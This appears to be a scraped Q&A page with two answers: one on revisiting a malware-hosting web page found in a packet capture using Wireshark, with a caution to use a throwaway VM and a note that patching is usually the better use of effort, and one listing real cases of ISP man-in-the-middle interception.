To visit the web page, you'll want to open up the packet capture in some packet analysis tool (e.g., Wireshark), find the HTTP request, look at the destination IP address where that HTTP request was sent, and replay the request to that host and port.  Note that you may need to send the exact request exactly as it is: you may need the Host: header, if the site is usual virtual hosting, and you may need other headers to be right, if the malware hosting site is using referers or other headers to determine how to respond to the request.

You could try extracting the URL from the request (the hostname can usually be extracted from the Host: header, the URL path can be extracted from the GET line of the HTTP request), then opening that URL in your browser (in a throwaway VM, please).  As a quick-and-dirty check, this might suffice.

If you have a packet capture, there may be an even easier way.  If you open up the packet capture in Wireshark, Wireshark will decode the entire TCP connection, reassemble all the traffic, and show you the bytes sent in both directions.  You can use this to view the HTML source sent to your machines.

That said, I'd question whether any of this is a good use of your time.  I'm not sure what you expect to learn.  Usually, trying to trace through  the HTML/Javascript code of a web exploit is a waste of time.  You may have to dig through dozens of redirects and other steps, then de-obfuscate the code, and peer through pages of code to get an idea of what it's doing.  And once you've done that, what have you gained?  Basically, nothing much.  It's usually better to leave this analysis to the security/IDS companies, and focus your energies on things that will actually protect you: e.g., focus on ensuring that your end machines are running patched up-to-date browsers and other software.


How common are mitm attacks behind an ISP?

MITM attacks by ISPs are rare, but still do happen.

Some mobile ISP rewrite images to be more compressed, some also compress HTML and Javascript if transferred over HTTP
Some ISP DNSs respond to unknown domains and redirect to their search engine
Iran's national ISP used hacked Diginotar certificates to MITM SSL connections to Google
If the ISP is your employer, they might have put a SSL MITM CA to your work PC and are inspecting SSL traffic